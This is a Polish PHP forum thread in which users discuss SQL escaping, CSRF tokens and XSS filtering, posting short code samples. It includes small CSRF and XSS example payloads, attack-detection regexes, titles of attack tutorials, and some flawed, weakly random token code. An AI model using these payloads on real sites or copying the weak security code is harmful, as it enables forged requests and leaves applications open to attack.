W PHP można to zrobić, poprzez wykonanie na każdym tekstowym parametrze wykorzystywanym do budowy zapytania wbudowanej funkcji addslashes(), która dodaje backslash przed znakami, takimi jak ', " czy \, dzięki czemu znaki te nie są traktowane jak znaki specjalne. Dostępne są również funkcje specyficzne dla poszczególnych silników, takie jak np. oferowana przez serwer MySQL mysql_real_escape_string().
To robi moja funkcja.

Napisany przez: Sedziwoj 23.03.2008, 20:24:03

@MajareQ

Kombinujesz, a nic nowego nie piszesz. Po co zabezpieczać ciągi znaków i zamieniać " na \", gdy to ma trafić do pliku. Zabezpiecza się i kontroluje tak jak to tego wymaga.
Do budowy zapytań używa się specjalnych funkcji, bo jak MySQL ma \' to PgSQL czy MSSQL (jeśli dobrze pamiętam) ma '' (podwójny) a tamto \' rozwali kwerendę.
Do sprawdzania integer lepiej użyć takiego sprawdzenia, czy jest dany parametr, czy nie jest pusty, a potem ctype_digit() bo w ciągu nie może być nic oprócz cyfr. Bo jak rzutujemy to będzie nie to co chcemy, nie wykryjemy błędnego parametru, tylko wyświetlimy dla np. id = 0.

Ale to wszystko było, przeczytaj i dopisz jak czegoś będzie brakować, a nie powtarzaj to co już jest.

Napisany przez: kiamil 6.09.2008, 10:01:15

Cytat(NuLL @ 5.06.2006, 02:40:06 )

Podziele sie z Wami moim pomyslem jak ja zalatwiam prawie wszystko roboty tego typu w swoich projektach.

Jest formularz

[HTML] pobierz, plaintext 
<http://december.com/html/4/element/input.html type='text' name='a3ol5m3in5klnw_name'>
[HTML] pobierz, plaintext 

To takie smieszne w nazwie to losowy string - generowany md5 na bazie czasu. Zapisuje sie go w sesji. User wysyla i sie wyciaga z POST wszystkie pola porownujac z tym co jest w sesji zapisane - cos ala token doklejony do nazwy pola. I tyle

Roboty wysylajace spam np. na blogi dzialaja na bazie znajomosci nazw pol formularza oraz adresow - bo tak dziala np. CURL - taki prosty patch rozwala wiekszosc na lopatki Jesli nie ma sesji tzn ze ktos cos majstruje

Napisany przez: Lejto 25.10.2008, 10:03:54

Znalazłem w sieci ciekawą stroną z materiałami video związanymi z atakami na strony internetowe

http://www.uw-team.org/index.php?id=videoarty

Na filmach między innymi:

Wstęp do ataków typu SQL Injection
Atak SQL Injection z użyciem Union Select
SQL Injection - union select + komentowanie kodu
SQL Injection - wykrywanie struktury bazy danych
Blind SQL Injection - odgadywanie haseł po znaku
Błędy w użyciu funkcji include()
Includowanie kodu PHP z innego serwera
Session Poisoning - zatruwanie sesji PHP
XSS - Cross Site Scripting
SQL Injection - dopisywanie danych do bazy
XSS - metody zaawansowane
PHP - Register Globals
PHP - baza userów w pliku TXT

i pare innych...

Napisany przez: renderman 9.11.2008, 19:18:47

Witam wszystkich,

Po przeczytaniu całego tematu wzdłuż i w szerz mam wrażenie że już nic nie wiem. Wiele sposobów cała masa kodu który dla każdego kto to czyta chyba wprawia w zawrót głowy. Czy znalazło by się chociaż kilka osób które w prosty i nie zagmatwany, możliwie dobrze skomentowany sposób przedstawiłyby jak poprawnie stworzyc prosty i za razem "bezpieczny' szkielet strony i może umiescilyby to jako przypięty temat... tylko prosiłbym by wypowiedział się ktoś naprawde dobrze obeznany z tematem.

Zakładam schemat w którym za pomocą wywołania o postaci:

[HTML] pobierz, plaintext 
http://moja_strona.pl/index.php?m2=grafika2d
[HTML] pobierz, plaintext 

[PHP] pobierz, plaintext 
<?php if(http://www.php.net/empty($_GET['m2']) or $_GET['m2']=="portfolio_menu_0"){include("portfolio_menu_0.php");}
if($_GET['m2']=="grafika2d")   {include("portfolio_menu_1.php"); }
if($_GET['m2']=="grafika3d")   {include("portfolio_menu_2.php"); }
if($_GET['m2']=="cv")            {include("portfolio_menu_3.php"); }
if($_GET['m2']=="blog")          {include("portfolio_menu_4.php"); }
?>
[PHP] pobierz, plaintext 

Napisany przez: bełdzio 9.11.2008, 19:29:12

jeśli chodzi o inkludowanie plików zerknij tu -> http://www.beldzio.com/bezpieczenstwo-dostepu-do-plikow

Napisany przez: renderman 9.11.2008, 19:48:17

Szczerze mimo że widze jakies sensowne rozwiązania dla mnie jako poczatkujacego nawet implementacja tego w wlasnym kodzie jest trudna. Zapewne 100 podobnych do mnie osob przegladajac rozne rozwiaznia dojdzie do tego samego wniosku. Można odbic piłeczke i powiedziec... - ucz się dalej, ale z bezpieczeństwem nie ma żartów. Nie chcialbym osobiscie by jakis haker z mlekiem pod nosem rozwalił cała strone a nie daj boże serwer tylko dla tego że moj kod nie był do końca bezpieczny. To co zamieściłem w poprzednim poscie jest juz tak oklepanym tematem na wszystkich forach a mimo to nikt nie zebrał sie ( mowie tu o tych co znaja to na wylot i wiedzą co z tym zrobic ) by pokazac reszcie jak to powinno byc poprawnie krok po kroku.

Napisany przez: gladiror 9.11.2008, 21:16:43

Ogólnie mówiąc niby zasada jest prosta: "To co podaje lub może w jakiś sposób zmodyfikować użytkownik trzeba przefiltrować"... Dochodzą do tego elementy jakości napisanego kodu (czytaj: dużo doświadczenia). Nie liczcie, że od razu będziecie super administratorami swoich serwisów, ale warto pamiętać o tej zasadzie, którą napisałem powyżej. Chodzi tutaj w szczeególności o tablice POST, GET, COOKIES, SESSION, REQUEST czy SERVER. Cookolwiek jest wyświetlane na stronie lub pakowane do jakiejś bazy i te informacje są podane lub mogą być w jakiś sposób podane przez użytkownika trzeba do przefiltrować.

Napisany przez: renderman 9.11.2008, 21:36:06

Gdzies obiło mi się o uszy... lepiej iśc w frameworka niż tworzyc wszystko od podstaw. Zakładam jednak że nie chce frameworka dlatego że:

1: strone czesto da się zrobic duzo prosciej i nie konieczny jest do tego cały silnik jak joomla tylko po to by uzyc jednej funkcji.
2. cała masa komplikacji, zmian, aktualizacji.

Chcialbym znaleźc proste rozwiaznie dla prostej strony bez udziwnień, byle by bylo bezpiecznie przy pomocy np w.w. includów . Jak to będę w stanie ogarnac to wtedy mozna myslec o dalszej nauce i rozwijaniu takiej strony.. Wole zrobic mniej niż zrobic źle..
Może ktos zaproponuje inne lepsze rozwiazanie od mojego?

Napisany przez: mlattari 1.03.2009, 17:24:14

Ja piszę przeważnie wszystko w edytorze nano :-) Ale jeżeli mam kilka tysięcy linijek to przechodzę na Notepada ++ :-)) Po zapisaniu w Notepadzie ++ takie duże pliki wyglądają później chaotycznie w nano czy pico :-)

Ale pozostając bardziej w temacie to mam pytanie dotyczące zmiennych $_SESSION. Czy użytkownik serwisu www może w jakiś prosty sposób dostać się do zawartości tych zmiennych a jeżeli tak to czy może je w jakiś sposób zmienić zakładając, że używamy np. standardowych ciasteczek.

np. jeżeli mamy $_SESSION[uprawnienia_admina]='NIE' to czy ktoś mógłby się do tego dostać i ustawić na 'TAK'

Napisany przez: erix 1.03.2009, 17:57:30

Jeśli masz babola w skrypcie, to tak.

Można również edytować plik sesji, jeśli serwer jest "zabezpieczony" (dane sesji, to domyślnie zserializowana tablica zapisywana w pliku znajdującym się we współdzielonym folderze).

Napisany przez: bełdzio 1.03.2009, 18:08:44

Cytat(mlattari @ 1.03.2009, 17:24:14 )

Napisany przez: mlattari 2.03.2009, 17:51:59

Witam!

Pisałem już w innym wątku o mojej "metodzie" zabezpieczenia się przed eksperymentami polegającymi na wpisywaniu przez userów wartości lub znaków do paska url na danej stronie serwisu www. Moja metoda okazała się nieskuteczna i beznadziejna... :-( Może dobra na szarych, nieznających się na hakowaniu eksperymentatorów... :-)
Czy jest jakiś sposób (skuteczny) na to, żeby jak np. jesteśmy na stronce http://www.xxxx.pl/index.php?test=1&test2=2, to żeby nie można było RĘCZNIE WPISYWAĆ żadnych zmiennych do paska url. Nie chodzi mi o to, żeby sprawdzać pojedyńczo wpisane przez użytkownika wartości, tylko o to, żeby a priori była taka możliwość wykluczona :-)

Napisany przez: dr_bonzo 2.03.2009, 18:03:56

Napisany przez: mlattari 2.03.2009, 18:28:03

hmmm a dlaczego pomysł jest idiotyczny? Może coś niejasno się wyraziłem :-) Po kiego ma ktoś mi wpisywać jakieś zmienne ręcznie w pasku jak wejdzie na serwis? Czy np. na tym forum też trzeba to robić? Po co? Wiadomo co ma to na celu :-) Swoją drogą skrypt też musi mieć zabezpieczenia ale chciałem w ten sposób osiągnąć dodatkowy poziom zabezpieczenia właśnie przed idiotami i eksperymentatorami :-) Można czy nie?

Napisany przez: nospor 2.03.2009, 18:36:46

a niby w jaki sposob chcesz zablokowac uzytkownikowi jego pasek w przegladarce? jak ci sie uda to zablokuj mu jeszcze mozliwosc wyłączenia komputera

A juz na powaznie: nie, nie mozna. Nawet jakby mozna bylo, to pamietaj ze do twojej stronki mozna wejść nie tylko z przegladarki...

Napisany przez: erix 2.03.2009, 18:39:15

Napisany przez: mlattari 2.03.2009, 19:17:40

chyba się nie rozumiemy.... nie mam zamiaru nikomu blokować paska url tylko chciałbym osiągną coś ala
if(!$_SERVER['HTTP_REFERER']) die() ale czego nie można w prosty sposób przeskoczyć....

chodzi o to żeby użytkownik ręcznie nie podmieniał mi zmiennych przekazywanych przez $_GET

zapewniam was, że sprawdzam i filtruje wszystko co użytkownik wpisze ale chciałbym to mieć dodatkowo

Napisany przez: erix 2.03.2009, 19:19:06

Napisany przez: mlattari 2.03.2009, 19:23:12

hehe no i o takie rozwiązanie mi chodziło i chyba coś takiego zastosuje :-)

Napisany przez: bełdzio 2.03.2009, 19:36:19

Cytat(mlattari @ 2.03.2009, 19:17:40 )

Napisany przez: rzymek01 2.03.2009, 21:14:19

Cytat(mlattari @ 2.03.2009, 19:23:12 )

Napisany przez: erix 2.03.2009, 21:43:55

Napisany przez: mlattari 2.03.2009, 23:22:44

Cytat(bełdzio @ 2.03.2009, 19:36:19 )

Napisany przez: bełdzio 2.03.2009, 23:36:52

kombinujesz jak chcesz sie zabezpieczyc przed wywolywaniem url kasujacych dane z niewiadomego miejsca to poczytaj o CSRF np na http://www.beldzio.com/bezpieczenstwo-mechanizmu-sesji i generalnie o tokenach, doklejasz sobie do url kasujacego losowe znaki przez co otrzymujesz np usun_podstrone.php?id=4&token=fsd65fsd753, a następnie w usun_podstrone spr czy token z url == token z sesji oczywiscie token jest zmieniany co odswiezenie skryptu

Napisany przez: mlattari 3.03.2009, 13:50:38

Dzieki :-) Chyba będę musiał poczytać :-)

Cytat(bełdzio @ 2.03.2009, 23:36:52 )

kombinujesz jak chcesz sie zabezpieczyc przed wywolywaniem url kasujacych dane z niewiadomego miejsca to poczytaj o CSRF np na http://www.beldzio.com/bezpieczenstwo-mechanizmu-sesji i generalnie o tokenach, doklejasz sobie do url kasujacego losowe znaki przez co otrzymujesz np usun_podstrone.php?id=4&token=fsd65fsd753, a następnie w usun_podstrone spr czy token z url == token z sesji oczywiscie token jest zmieniany co odswiezenie skryptu

Napisany przez: bełdzio 3.03.2009, 14:01:31

Cytat(mlattari @ 3.03.2009, 13:50:38 )

Napisany przez: Kocurro 3.03.2009, 14:13:11

I oczywiście bełdzio dasz sobie czapkę z avatara zerwać, że żadna wtyczka przyśpieszająca przeglądanie stron nie postanowi odczytać z wyprzedzeniem strony usun.php?token=najlepszy_z_najlepszych i nie spowoduje usunięcia danych ?

Pozdr.
Łukasz

Napisany przez: bełdzio 3.03.2009, 14:38:21

generalnie to czapki nie oddam a co do wtyczek sie nie wypowiem bo nie do konca wiem o jakie cudenka chodzi

Napisany przez: Kocurro 3.03.2009, 14:47:57

Był temat na forum kiedy o tym rozmawialiśmy - nie wiem czy to przypadkiem nie był ten temat.

Napisany przez: ucho 3.03.2009, 14:51:56

To mogło by popsuć wiele rzeczy nie tylko przy korzystaniu z tokenów. Mam nadzieje, że żadna przeglądarka/wtyczka nie robi ładuje w tle innych linków niż oznaczone przez `rel="prefetch"`.

Napisany przez: erix 3.03.2009, 18:11:52

Napisany przez: marcio 3.03.2009, 19:07:04

Napisany przez: erix 3.03.2009, 23:04:06

A do wikipedii, to Waść zaglądał...?

Napisany przez: marcio 3.03.2009, 23:17:34

Zagladac zagldalem ale nie zawsze w wikipedi jest duzo napisane w sumie jest napisane to sam co ja napisalem czytalem inne linki i atak polega tylko na tym co opisalem przynajmniej z tego co ja wywnioskowalem.

Mowicie zeby dodac mozliwosc takeigo tokena do wszystkich waznych akcji, bo w sumie atak jest latwiejszy do przeprowadzenia niz XSS z kradzieza cookie.

Napisany przez: mlattari 6.03.2009, 01:27:07

Cytat(bełdzio @ 3.03.2009, 14:01:31 )

[PHP] pobierz, plaintext 
<?php
function checktoken()  {
  if($_SESSION['zeton']!=$_GET['token']) diee_close(); }
 
function generate_token() {
 $literki="abcdefghijklmnopqrstuwvxyzABCDEFGHIJKLMNOPQRSTUWVXYZ";
 $cyferki="0123456789";
 for($tokelen=1;$tokenlen<=32;$tokenlen++) {
   $token.=http://www.php.net/substr($literki,http://www.php.net/rand(0,http://www.php.net/strlen($literki)-1),1).http://www.php.net/substr($cyferki,http://www.php.net/rand(0,http://www.php.net/strlen($cyferki)-1),1);  }
 $_SESSION['zeton']=$token;
 return $token; }
?>
[PHP] pobierz, plaintext 

Napisany przez: marcio 6.03.2009, 15:10:05

Nie wiem co robi diee_close() ale jesli nic nie zwraca to moze nie dzialac bo troche nie ma sensu to raz a dwa to jakos kombinujesz ze sklejaniem ciagu i jeszcze nie bedzie on az taki losowy ja 2 dni temu napisac cos takiego jeszcze w praktyce nie uzywalem ale dzialac dziala:

[PHP] pobierz, plaintext 
<?php
function InitCsrfSession() {
 
  $InitLenght = http://www.php.net/rand(1,5);
  $EndLenght = http://www.php.net/rand(10,20);
 
  return http://www.php.net/substr(http://www.php.net/md5(http://www.php.net/time()), $InitLenght,$EndLenght);
 
}
 
 
function CheckCsrfSession($GetSession) {
 
  ($GetSession == $_SESSION['CSRF']) ? $bool = true : $bool =  false;
  
  return $bool;
 
}
 
//Przypisujesz
http://www.php.net/session_start();
$_SESSION['CSRF'] = InitCsrfSession();
?>
[PHP] pobierz, plaintext 

Napisany przez: mlattari 6.03.2009, 15:42:24

No masz racje :-) U mnie jest rzeczywiście mało losowo :-( Chyba będę musiał dodać coś z md5 tak jak u Ciebie. Dzięki za podpowiedź.

Napisany przez: erix 6.03.2009, 22:37:26

Napisany przez: marcio 7.03.2009, 16:51:50

Cytat(erix @ 6.03.2009, 22:37:26 )

Napisany przez: mlattari 7.03.2009, 17:23:47

Prawdopodobnie można zbuforować zawartość stronki, podmienić określone wyrażenia i zapisać ponownie :-)

Napisany przez: erix 7.03.2009, 21:03:28

Tak, jak to robi mechanizm sesyjny dopisując SID w przypadku włączonego rewriter_tags.

Napisany przez: looooonger 28.03.2009, 23:09:52

przejrzałem posty w tym temacie, i ogólnie to wszystkie mówią o trochę bardziej skomplikowanych sytuacjach niż te, z którą ja mam do czynienia tzn:

Strona jest praktycznie statyczna, a php używam tylko do zaincludowania nagłówka i stopki, ale nazwy plików nie pochodzą z posta/geta tylko są zahardcodowane. Czy ciągnie to za sobą jakieś niebezpieczeństwo? Wolę się upewnić. Drugie pytanie, czy mechanizm google search engine może wpłynąć na bezpieczeństwo strony? Uzywam go w ten sposób:

Na stroni z wynikami:

[HTML] pobierz, plaintext 
<http://december.com/html/4/element/div.html id="cse-search-results"></http://december.com/html/4/element/div.html>
<http://december.com/html/4/element/script.html type="text/javascript">
  var googleSearchIframeName = "cse-search-results";
  var googleSearchFormName = "cse-search-box";
  var googleSearchFrameWidth = 600;
  var googleSearchDomain = "www.google.com";
  var googleSearchPath = "/cse";
</http://december.com/html/4/element/script.html>
<http://december.com/html/4/element/script.html type="text/javascript" src="http://www.google.com/afsonline/show_afs_search.js"></http://december.com/html/4/element/script.html>
[HTML] pobierz, plaintext 

[HTML] pobierz, plaintext 
<http://december.com/html/4/element/form.html action="szukaj.php" id="cse-search-box">
              <http://december.com/html/4/element/div.html>
                <http://december.com/html/4/element/input.html type="hidden" name="cx" value="004632895002302782970:fakn9rzjcvi" />
                <http://december.com/html/4/element/input.html type="hidden" name="cof" value="FORID:11" />
                <http://december.com/html/4/element/input.html type="hidden" name="ie" value="UTF-8" />
                <http://december.com/html/4/element/input.html type="text" name="q" size="31" />
                <http://december.com/html/4/element/input.html type="submit" name="sa" value="Szukaj" />
              </http://december.com/html/4/element/div.html>
            </http://december.com/html/4/element/form.html>
 
<http://december.com/html/4/element/script.html type="text/javascript" src="http://www.google.com/coop/cse/brand?form=cse-search-box&lang=pl"></http://december.com/html/4/element/script.html>
[HTML] pobierz, plaintext 

Napisany przez: bełdzio 28.03.2009, 23:39:48

Cytat(looooonger @ 28.03.2009, 23:09:52 )

Napisany przez: nieraczek 11.04.2009, 17:05:38

Chciałem dowiedzieć się jak zabezpieczać się przed atakami CSRF więc zrobiłem testową aplikację do tego celu:
użytkownik może dodawać i usuwać znajomych oraz pisać komentarze a w nich umieszczać linki. Użytkownik może usunąć ze znajomych użytkownika klikając na link 'usuń' w swoim profilu w znajomych - na końcu linka jest podawany id znajomego do usunięcia:

[HTML] pobierz, plaintext 
<http://december.com/html/4/element/a.html href="/profil/znajomi/usun/<?php echo $z->getIdentyfikator() ?>" >usuń ze znajomych</http://december.com/html/4/element/a.html>
[HTML] pobierz, plaintext 

[HTML] pobierz, plaintext 
<http://december.com/html/4/element/a.html href="/profil/znajomi" onclick="potwierdzUsuniecieZnajomego(<?php echo $z->getIdentyfikator() ?>); " >usuń ze znajomych</http://december.com/html/4/element/a.html>
[HTML] pobierz, plaintext 

Napisany przez: bełdzio 11.04.2009, 18:31:29

nie przeciez zamiast odwolywac sie do adresu /profil/znajomi/usun/4 moge odwolac sie do adresu strony z potwierdzeniem, wlasnie kopiuje na blogaska notke o csrf tak wiec rzuc okiem za jakies 5 - 10 min

Napisany przez: nieraczek 24.05.2009, 11:54:39

bełdzio wielkie dzięki - dzięki Tobie nareszcie zrozumiałem jak zabezpieczać się przed tymi atakami Super artykuł.

------------------
@edycja

Mam jeszcze pytanie odnośnie ataków CSRF - w przypadku linków usuwających coś z bazy danych wystarczy, że atakujący w komentarzu wpisze np.:

[HTML] pobierz, plaintext 
<http://december.com/html/4/element/img.html src="http://adres.pl?usun=10" />
[HTML] pobierz, plaintext 

Napisany przez: bełdzio 24.05.2009, 14:09:23

wystarczy ze stworze na swojej stronie formularz z ukrytymi inputami i widocznym przyciskiem "WYgraj 100 000 pln"; user klika na button i na właściwy serwer przesyłane są dane, których autorem jest nasza ofiara

Napisany przez: nieraczek 12.06.2009, 08:47:02

A jak macie formularze, np. żeby było bardziej obrazowo: formularz do wysyłania odpowiedzi na otrzymane prywatne wiadomości:

[HTML] pobierz, plaintext 
<http://december.com/html/4/element/form.html method="post" action="/wyslij_odpowiedz/na_wiadomosc/68/do_uzytkownika/11">
..........
</http://december.com/html/4/element/form.html>
[HTML] pobierz, plaintext 

Napisany przez: pyro 12.06.2009, 08:52:23

Najprostszym zabezpieczeniem przed atakami CSRF jest poprostu dodawanie id sesji i sprawdzanie jej. Np:

[PHP] pobierz, plaintext 
<?php
/*
...
tu wysylam jakis formularz i jako hidden daję id sesji
...
*/
 
if(http://www.php.net/empty($_POST['sess_id']) || $_POST['sess_id'] != http://www.php.net/session_id())
{
http://www.php.net/die('Czy napewno nie próbujesz mi zaszkodzić Panie majster?');
}
?>
[PHP] pobierz, plaintext 

Napisany przez: nieraczek 12.06.2009, 10:15:28

Ale nie chodzi mi o ataki csrf tylko ataki wykonane programem firebug, dzięki któremu można dowolnie modyfikować kod html strony i dzięki temu zmieniać ID w akcji formularza, co w konsekwencji mego poprzedniego posta spowoduje wysłanie odpowiedzi do innej osoby niż nadawca danej wiadomości. Inny przykład to jak edytujemy dany post na jakimś forum i w akcji formularza za pomocą firebuga zmienimy ID to w ten sposób moglibyśmy zmodyfikować posta innej osoby jeśli po zatwierdzeniu formularza nie sprawdzimy czy dany użytkownik edytuje swój własny post ufając temu, że akcja formularza nie została zmieniona. Chodzi mi o to, że akcje formularza są tak samo niebezpieczne jak adresy URL i łatwe do modyfikacji programami typu firebug. Rozumie ktoś czy dać przykład ?

Napisany przez: Crozin 12.06.2009, 10:48:19

Rozumie. Tylko nie widzę pytania... bo na jedyne jakie postawiłeś sam sobie odpowiedziałeś.

Napisany przez: pyro 12.06.2009, 11:15:26

Dopisująć się do Crozina:

@nieraczek, wygląda na to, że gadasz sam ze sobą

Napisany przez: bełdzio 12.06.2009, 16:06:41

Cytat(nieraczek @ 12.06.2009, 09:47:02 )

Napisany przez: Crozin 12.06.2009, 16:44:03

@bełdzio: A co jak ustawisz ID użytkownika, które nie istnieje? W przypadku gdy masz ustawione klucze obce w tabeli piękny błąd wywali.
Poza tym luki, które nawet potencjalnie są niegroźne powinny być szybko poprawiane.

Napisany przez: bełdzio 12.06.2009, 19:49:04

Cytat(Crozin @ 12.06.2009, 17:44:03 )

Napisany przez: Zgredzik 13.06.2009, 17:04:20

Czesc, mam pytanie dotyczace tablicy $_POST. Wiec napisalem wyrazenie regularne ktorego uzywam w funkcji preg_match.

Napisany przez: cojack 17.06.2009, 21:58:36

Nie wiem było nie było, erix mnie już zbeształ że leniwy jestem i mi się szukać nie chce, to się odkupuje i kopie linkiem do funkcji zabezpieczającej przed atakami typu XSS:
http://snipplr.com/view/9596/secure-advanced-better-faster-function-for-removestrip-tagsantixss/

pozdro.

Napisany przez: nieraczek 18.06.2009, 07:10:59

A mogę wiedzieć w czym ta funkcja _Strip_Tag() podana przez cojacka w linku i inne tego typu funkcje pisane w tym wątku mają być lepsze od rdzennej strip_tags() napisanej przez osoby zajmujące się rozwojem języka PHP - osoby z wieloletnim, olbrzymim doświadczeniem oraz wiedzą ? Czyli jak rozumiem uważacie, że Wasza własna funkcja strip_tags() będzie lepsza od tej opracowanej przez ekspertów PHP ?

Napisany przez: cojack 18.06.2009, 14:12:05

Nie rozumiesz... strip_tags usuwa znaczniki html, http://pl2.php.net/strip_tags
a ten link co ja podałem wywala nam dodatkowo encje z linków. skrypty js etc..

Napisany przez: nieraczek 18.06.2009, 14:54:53

A po co wywalać skrypty js skoro strip_tags() sprawia, że te skrypty - a właściwie już nie skrypty przestają być groźne, np.:

[PHP] pobierz, plaintext 
<?php
http://www.php.net/echo http://www.php.net/strip_tags("<script>alert('test')</script>");
?>
[PHP] pobierz, plaintext 

[PHP] pobierz, plaintext 
<?php
http://www.php.net/echo http://www.php.net/strip_tags("<a href='test'>test</a>");
?>
[PHP] pobierz, plaintext 

Napisany przez: erix 18.06.2009, 16:15:53

[HTML] pobierz, plaintext 
<http://december.com/html/4/element/a.html href='test' onclick="alert('test');">test</http://december.com/html/4/element/a.html>
[HTML] pobierz, plaintext 

Napisany przez: nieraczek 18.06.2009, 17:07:13

Nie bardzo rozumiem - zrobiłem specjalnie formularz żeby sprawdzić:

[PHP] pobierz, plaintext 
<?php
if(http://www.php.net/isset($_POST['przycisk']))
{
http://www.php.net/echo http://www.php.net/strip_tags($_POST['pole']);
//echo $_POST['pole'];
}
?>
 
<form action="index.php" method="post">
<input name="pole" type="text" />
<input name="przycisk" type="submit" />
</form>
[PHP] pobierz, plaintext 

Napisany przez: Crozin 18.06.2009, 17:34:08

IMO strip_tags to jedna z durniejszych funkcji. Ktoś coś wpisuje, patrzy... a tu część tekstu ucięta. Zdecydowanie lepiej użyć http://pl.php.net/htmlspecialchars.

Napisany przez: nieraczek 18.06.2009, 17:43:14

Ok Crozin - ale istnieje w końcu coś co obali moją teorię o tym, że nie trzeba zastępować strip_tags() swoją własną bezpieczniejszą funkcją w stylu strip_tags() czy nie ? Wpisanie jakiego kodu w tym formularzu rozłożyłoby tę funkcję na łopatki ?

Napisany przez: kamil4u 18.06.2009, 17:44:53

Zdecydowanie jestem za ~Crozin-em , więcej w tym wątku: http://forum.php.pl/index.php?showtopic=119475

Napisany przez: nieraczek 18.06.2009, 17:53:30

Ale chodzi o to, że w całym tym wątku co kilka postów ludzie próbują pisać własne wersje tych dwóch funkcji: htmlspecialchars() i strip_tags() i podają swoje wersje tych funkcji - chciałbym więc po prostu dowiedzieć się w czym ich własne funkcje są bezpieczniejsze od tych opracowanych przez ekspertów PHP

Napisany przez: erix 18.06.2009, 19:04:11

Napisany przez: nieraczek 18.06.2009, 19:20:49

"Blah, pomyślałem o czym innym. [; " - wiem o czym myślałeś, dlatego zrobiłem formularz ;] hehe

Napisany przez: bełdzio 18.06.2009, 22:13:59

Cytat(nieraczek @ 18.06.2009, 18:53:30 )

Ale chodzi o to, że w całym tym wątku co kilka postów ludzie próbują pisać własne wersje tych dwóch funkcji: htmlspecialchars() i strip_tags() i podają swoje wersje tych funkcji - chciałbym więc po prostu dowiedzieć się w czym ich własne funkcje są bezpieczniejsze od tych opracowanych przez ekspertów PHP

Napisany przez: WebCM 18.06.2009, 23:05:29

Napisany przez: cojack 19.06.2009, 15:27:48

Ale macie problemy, jak komuś jest potrzebne strip_tags to go użyje mi np do routingu jest potrzebny i go używam ile wlezie, w dodatku z joomli zakosiłem parę wyrażen regularnych, o to one

[PHP] pobierz, plaintext 
<?php
if(http://www.php.net/preg_match('/mosConfig_[a-zA-Z_]{1,21}(=|%3D)/',$strInput))
            {
                $strInput = http://www.php.net/preg_replace('/mosConfig_[a-zA-Z_]{1,21}(=|%3D)/','',$strInput);
            }
            if(http://www.php.net/preg_match('/base64_encode.*(.*)/',$strInput))
            {
                $strInput = http://www.php.net/preg_replace('/base64_encode.*(.*)/','',$strInput);
            }
            if(http://www.php.net/preg_match('/(<|%3C).*script.*(>|%3E)/',$strInput))
            {
                $strInput = http://www.php.net/preg_replace('/(<|%3C).*script.*(>|%3E)/','',$strInput);
            }
            if(http://www.php.net/preg_match('/GLOBALS(=|[|%[0-9A-Z]{0,2})/',$strInput))
            {
                $strInput = http://www.php.net/preg_replace('/GLOBALS(=|[|%[0-9A-Z]{0,2})/','',$strInput);
            }
            if(http://www.php.net/preg_match('/_REQUEST(=|[|%[0-9A-Z]{0,2})/',$strInput))
            {
                $strInput = http://www.php.net/preg_replace('/_REQUEST(=|[|%[0-9A-Z]{0,2})/','',$strInput);
            }
?>
[PHP] pobierz, plaintext 

Napisany przez: Crozin 19.06.2009, 15:33:22

A mnie zastanawia po jakie licho Ci preg_matche w tym.

Napisany przez: legalizetrawka 20.07.2009, 12:43:56

Co wy na to, żeby zamiast backslashowania dane wysyłane do MySQL zakodować w base64 i w takiej postaci je trzymać w bazie? A przy wyświetlaniu odkodować i np. usunąć tagi html?

Napisany przez: fifi209 20.07.2009, 12:46:27

Cytat(legalizetrawka @ 20.07.2009, 12:43:56 )

Napisany przez: Kocurro 20.07.2009, 12:50:59

Też kiedyś myślałem o użyciu base64 ... ale potem zrozumiałem, że lepiej zamieniać na kod binarny - czyli 0 i 1 ... a następnie dokładać dane kontrolne oraz naprawcze. Mój pomysł okazał się genialny w swojej prostocie ... tylko nie wiem czemu tak szybko baza się rozrastała .... hmm

Napisany przez: erix 20.07.2009, 12:53:31

Napisany przez: nospor 20.07.2009, 12:54:57

Napisany przez: erix 20.07.2009, 12:58:21

~nospor, ale wady przeważają nad korzyściami.

edit@down: bannerowo-grafikowa ślepota

Napisany przez: nospor 20.07.2009, 12:59:31

@erix ale te mrugniecie oka zauwazyles na koncu mojego zdania? Znaczylo ono, iz moją odpowiedź nalezy potraktowac z przymruzeniem oka, taki zart....
juz nie wspomne o tym zdaniu

Napisany przez: pyro 20.07.2009, 13:08:49

Po co ludzie kombinują na już ósme i dziesiąte sposoby, zamiast korzystać ze sprawdzonych i 100% dobrych sposobów

Napisany przez: fifi209 20.07.2009, 13:16:54

Cytat(pyro @ 20.07.2009, 13:08:49 )

Po co ludzie kombinują na już ósme i dziesiąte sposoby, zamiast korzystać ze sprawdzonych i 100% dobrych sposobów

[PHP] pobierz, plaintext 
<?php
if ($_POST['haslo'] == 'test') { 
}else{
}
?>
[PHP] pobierz, plaintext 

Napisany przez: andycole 16.08.2009, 12:23:34

a nie wystarczy calkowite strip_tags() (uzywamy bbcode) + mysql_real_escape_string() + filtracja danych ?

Napisany przez: erix 17.08.2009, 11:00:50

A może byś tak ten wątek od początku przeczytał...?

Napisany przez: maly_pirat 21.11.2009, 11:17:21

Cześć, a jak wygląda sprawa tablic (ARRAY)? Da się jakoś je wykraść z poziomu przeglądarki? - nie znam się na hakerstwie, i stąd moje pytanie. W tablicy trzymam np. ustawienia strony, połączenie do bazy (dane).

[PHP] pobierz, plaintext 
$settings	=	http://www.php.net/array
(
	'db'	=> http://www.php.net/array
	(
		'host'		=> 'localhost',
		'user'		=> 'root',
		'pwd'		=> 'krasnal'
	),
 
);
[PHP] pobierz, plaintext